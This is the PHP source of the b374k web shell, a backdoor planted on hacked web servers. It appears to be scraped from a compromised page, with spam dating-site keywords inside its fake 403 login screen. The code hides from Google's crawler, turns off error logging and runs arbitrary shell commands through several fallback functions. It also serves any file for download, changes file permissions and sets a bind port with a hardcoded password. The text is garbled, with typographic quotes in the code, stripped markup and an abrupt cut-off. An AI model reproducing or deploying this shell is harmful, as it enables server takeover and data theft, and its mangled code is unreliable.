/*********************************************************************************************************/
$auth_pass = ""; //password crypted with md5, default is 'Newbie3viLc063s'
/*********************************************************************************************************/
$color = "#00ff00";
$default_action = 'FilesMan';
@define('SELF_PATH', __FILE__);
/*********************************************************************************************************/
# Avoid google's crawler
if( strpos($_SERVER['HTTP_USER_AGENT'],'Google') !== false ) { header('HTTP/1.0 404 Not Found'); exit; }
/*********************************************************************************************************/
@session_start();
@error_reporting(0);
@ini_set('error_log',NULL);
@ini_set('log_errors',0);
@ini_set('max_execution_time',0);
@set_time_limit(0);
@set_magic_quotes_runtime(0);
@define('VERSION', 'v.2012');
@define('TITLE', ':: b374k Newbie3viLc063s 2012 ::');
/*********************************************************************************************************/
if( get_magic_quotes_gpc() )
{
function stripslashes_array($array) { return is_array($array) ? array_map('stripslashes_array', $array) : stripslashes($array); }
$_POST = stripslashes_array($_POST);
}
function logout()
{
unset($_SESSION[md5($_SERVER['HTTP_HOST'])]);
$page = $host='http://'.$_SERVER['SERVER_NAME'].'/'.$_SERVER['PHP_SELF'];
echo '
?>
exit(0);
}
function myshellexec($command) {
if (!($p=popen("($command)2>&1″,”r”))) {
return 126;
}
while (!feof($p)) {
$line=fgets($p,1000);
$out .= $line;
}
pclose($p);
return $out;
}
function parsesort($sort)
{
$one = intval($sort);
$second = substr($sort,-1);
if ($second != “d”) {$second = “a”;}
return array($one,$second);
}
$disablefunc = @ini_get(“disable_functions”);
function showdisablefunctions() {
if ($disablefunc=@ini_get(“disable_functions”)){ return ““.$disablefunc.”“; }
else { return “NONE“; }
}
function ex($cfe) {
$res = ”;
if (!empty($cfe)) {
if(function_exists(‘exec’)) {
@exec($cfe,$res);
$res = join(“\n”,$res);
} elseif(function_exists(‘shell_exec’)) {
$res = @shell_exec($cfe);
} elseif(function_exists(‘system’)) {
@ob_start();
@system($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(function_exists(‘passthru’)) {
@ob_start();
@passthru($cfe);
$res = @ob_get_contents();
@ob_end_clean();
} elseif(@is_resource($f = @popen($cfe,”r”))) {
$res = “”;
while(!@feof($f)) { $res .= @fread($f,1024); }
@pclose($f);
} else { $res = “Ex() Disabled!”; }
}
return $res;
}
function showstat($stat) {
if ($stat==”on”) { return “ON“; }
else { return “OFF“; }
}
function testperl() {
if (ex(‘perl -h’)) { return showstat(“on”); }
else { return showstat(“off”); }
}
function testfetch() {
if(ex(‘fetch –help’)) { return showstat(“on”); }
else { return showstat(“off”); }
}
function testwget() {
if (ex(‘wget –help’)) { return showstat(“on”); }
else { return showstat(“off”); }
}
function testoracle() {
if (function_exists(‘ocilogon’)) { return showstat(“on”); }
else { return showstat(“off”); }
}
function testpostgresql() {
if (function_exists(‘pg_connect’)) { return showstat(“on”); }
else { return showstat(“off”); }
}
function testmssql() {
if (function_exists(‘mssql_connect’)) { return showstat(“on”); }
else { return showstat(“off”); }
}
function testcurl() {
if (function_exists(‘curl_version’)) { return showstat(“on”); }
else { return showstat(“off”); }
}
function testmysql() {
if (function_exists(‘mysql_connect’)) { return showstat(“on”); }
else { return showstat(“off”); }
}
$quotes = get_magic_quotes_gpc();
if ($quotes == “1″ or $quotes == “on”)
{
$quot = “ON“;
}
else
{
$quot = “OFF“;
}
function printLogin()
{
?>
403 Forbidden
dating websites
best dating sites
dating sites free
dating sites
dating sites
free dating sites
free online dating sites
free online dating
free dating websites
free online dating sites
Forbidden
You don’t have permission to access this file on this server =$_SERVER['HTTP_HOST']?>.
exit;
}
if( !isset( $_SESSION[md5($_SERVER['HTTP_HOST'])] ))
{
if( empty( $auth_pass ) || ( isset( $_POST['x'] ) && ( md5($_POST['x']) == $auth_pass ) ) )
{ $_SESSION[md5($_SERVER['HTTP_HOST'])] = true; }
else
{ printLogin(); }
}
if(isset($_GET['dl']) && ($_GET['dl'] != ""))
{
$file = $_GET['dl'];
$filez = @file_get_contents($file);
header("Content-type: application/octet-stream");
header("Content-length: ".strlen($filez));
header("Content-disposition: attachment;
filename=\"".basename($file)."\";");
echo $filez;
exit;
}
elseif(isset($_GET['dlgzip']) && ($_GET['dlgzip'] != ""))
{
$file = $_GET['dlgzip'];
$filez = gzencode(@file_get_contents($file));
header("Content-Type:application/x-gzip\n");
header("Content-length: ".strlen($filez));
header("Content-disposition: attachment; filename=\"".basename($file).".gz\";");
echo $filez; exit;
}
if(isset($_GET['img']))
{
@ob_clean();
$d = magicboom($_GET['y']);
$f = $_GET['img'];
$inf = @getimagesize($d.$f);
$ext = explode($f,".");
$ext = $ext[count($ext)-1];
@header("Content-type: ".$inf["mime"]);
@header("Cache-control: public");
@header("Expires: ".date("r",mktime(0,0,0,1,1,2030)));
@header("Cache-control: max-age=".(60*60*24*7));
@readfile($d.$f);
exit;
}
$ver = VERSION;
$DISP_SERVER_SOFTWARE = getenv("SERVER_SOFTWARE");
if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on") $safemode = TRUE;
else $safemode = FALSE;
$system = @php_uname();
if(strtolower(substr($system,0,3)) == "win") $win = TRUE;
else $win = FALSE;
if(isset($_GET['y']))
{ if(@is_dir($_GET['view'])){ $pwd = $_GET['view']; @chdir($pwd); } else{ $pwd = $_GET['y']; @chdir($pwd); } }
if(!$win)
{ if(!$user = rapih(exe("whoami"))) $user = ""; if(!$id = rapih(exe("id"))) $id = ""; $prompt = $user." \$ "; $pwd = @getcwd().DIRECTORY_SEPARATOR; }
else
{
$user = @get_current_user();
$id = $user;
$prompt = $user." >";
$pwd = realpath(".")."\\";
$v = explode("\\",$d);
$v = $v[0];
foreach (range("A","Z") as $letter)
{
$bool = @is_dir($letter.":\\");
if ($bool)
{
$letters .= "[ ";
if ($letter.":" != $v) {$letters .= $letter;}
else {$letters .= "".$letter."";}
$letters .= " ] “;
}
}
}
if(function_exists(“posix_getpwuid”) && function_exists(“posix_getgrgid”)) $posix = TRUE;
else $posix = FALSE;
$bytes = disk_free_space(“.”);
$si_prefix = array( ‘B’, ‘KB’, ‘MB’, ‘GB’, ‘TB’, ‘EB’, ‘ZB’, ‘YB’ );
$base = 1024;
$class = min((int)log($bytes , $base) , count($si_prefix) – 1);
$totalspace_bytes = disk_total_space(“.”);
$totalspace_si_prefixs = array( ‘B’, ‘KB’, ‘MB’, ‘GB’, ‘TB’, ‘EB’, ‘ZB’, ‘YB’ );
$totalspace_bases = 1024;
$totalspace_class = min((int)log($totalspace_bytes , $totalspace_bases) , count($totalspace_si_prefixs) – 1);
$totalspace_show = sprintf(‘%1.2f’ , $totalspace_bytes / pow($totalspace_bases,$totalspace_class)) . ‘ ‘ . $totalspace_si_prefixs[$totalspace_class] . ”;
$freespace_show = sprintf(‘%1.2f’ , $bytes / pow($base,$class)) . ‘ ‘ . $si_prefix[$class] . ”;
$server_ip = @gethostbyname($_SERVER["HTTP_HOST"]);
$my_ip = $_SERVER['REMOTE_ADDR'];
$bindport = “55555″;
$bindport_pass = “Newbie3viLc063s”;
$pwds = explode(DIRECTORY_SEPARATOR,$pwd);
$pwdurl = “”;
for($i = 0 ; $i < sizeof($pwds)-1 ; $i++)
{
$pathz = "";
for($j = 0 ; $j <= $i ; $j++)
{
$pathz .= $pwds[$j].DIRECTORY_SEPARATOR;
}
$pwdurl .= "“.$pwds[$i].” “.DIRECTORY_SEPARATOR.” “;
}
if(isset($_POST['rename'])){
$old = $_POST['oldname'];
$new = $_POST['newname'];
@rename($pwd.$old,$pwd.$new);
$file = $pwd.$new;
}
if(isset($_POST['chmod'])){
$name = $_POST['name'];
$value = $_POST['newvalue'];
if (strlen($value)==3){
$value = 0 . “” . $value;
}
@chmod($pwd.$name,octdec($value));
$file = $pwd.$name;
}
if(isset($_POST['chmod_folder'])){
$name = $_POST['name'];
$value = $_POST['newvalue'];
if (strlen($value)==3){
$value = 0 . “” . $value;
}
@chmod($pwd.$name,octdec($value));
$file = $pwd.$name;
}
$buff = $DISP_SERVER_SOFTWARE.”
“;
$buff .= ‘‘.$system.’
‘;
if($id != “”) $buff .= $id.”
“;
$buff .= “Server IP : “.”$server_ip“.” | “.”Your IP : “.”$my_ip“.”
“;
$buff .= “Total HDD Space : “.”$totalspace_show“.” | “.”Free HDD Space : “.”$freespace_show“.”
“;
$buff .= “Magic Quotes:$quot”.”
“;
$buff .= “Disabled Functions: “.showdisablefunctions().”
“;
$buff .= “MySQL: “.testmysql().” MSSQL: “.testmssql().” Oracle: “.testoracle().” MSSQL: “.testmssql().” PostgreSQL: “.testpostgresql().” cURL: “.testcurl().” WGet: “.testwget().” Fetch: “.testfetch().” Perl: “.testperl().”
“;
if($safemode) $buff .= “safemode ON
“;
else $buff .= “safemode OFF
“;
$buff .= $letters.” > ”.$pwdurl;
function rapih($text){ return trim(str_replace(“
“,”",$text)); }
function magicboom($text){ if (!get_magic_quotes_gpc()) { return $text; } return stripslashes($text); }
function showdir($pwd,$prompt)
{
$fname = array();
$dname = array();
if(function_exists(“posix_getpwuid”) && function_exists(“posix_getgrgid”)) $posix = TRUE;
else $posix = FALSE;
$user = “????:????”;
if($dh = opendir($pwd))
{
while($file = readdir($dh))
{
if(is_dir($file))
{ $dname[] = $file; }
elseif(is_file($file))
{ $fname[] = $file; }
}
closedir($dh);
}
sort($fname);
sort($dname);
$path = @explode(DIRECTORY_SEPARATOR,$pwd);
$tree = @sizeof($path);
$parent = “”;
$buff = “
